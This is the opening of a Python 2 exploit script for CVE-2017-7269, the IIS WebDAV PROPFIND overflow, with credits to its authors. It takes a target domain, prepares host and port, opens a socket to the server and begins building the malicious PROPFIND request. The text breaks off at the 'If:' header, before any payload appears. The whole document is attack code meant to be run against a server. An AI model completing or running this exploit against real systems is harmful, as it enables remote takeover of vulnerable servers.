import argparse import socket import sys from urlparse import urlparse # Disable SSL warnings try: import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() except: pass if len(sys.argv) <= 1: print('[*] CVE: 2017-7269 - IIS PWN') print('[*] IIS-PWN - @eliuha ') print('[*] Credit to @mazen160') print('\n%s -h for help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-d", "--domain", dest="url", help="Check a single URL.", action='store') args = parser.parse_args() url = args.url if args.url else None def domain_prepare(url): url = url.replace('#', '%23') url = url.replace(' ', '%20') if ('://' not in url): url = str('http') + str('://') + str(url) parse = urlparse(url) hostname = parse.hostname port = parse.port if port == None: if parse.scheme == 'https': port = 443 else: port = 80 return((hostname,port)) def exploit(url): address = domain_prepare(url) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ('exploiting %s' %(str(address))) sock.connect(address) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n' pay+='If: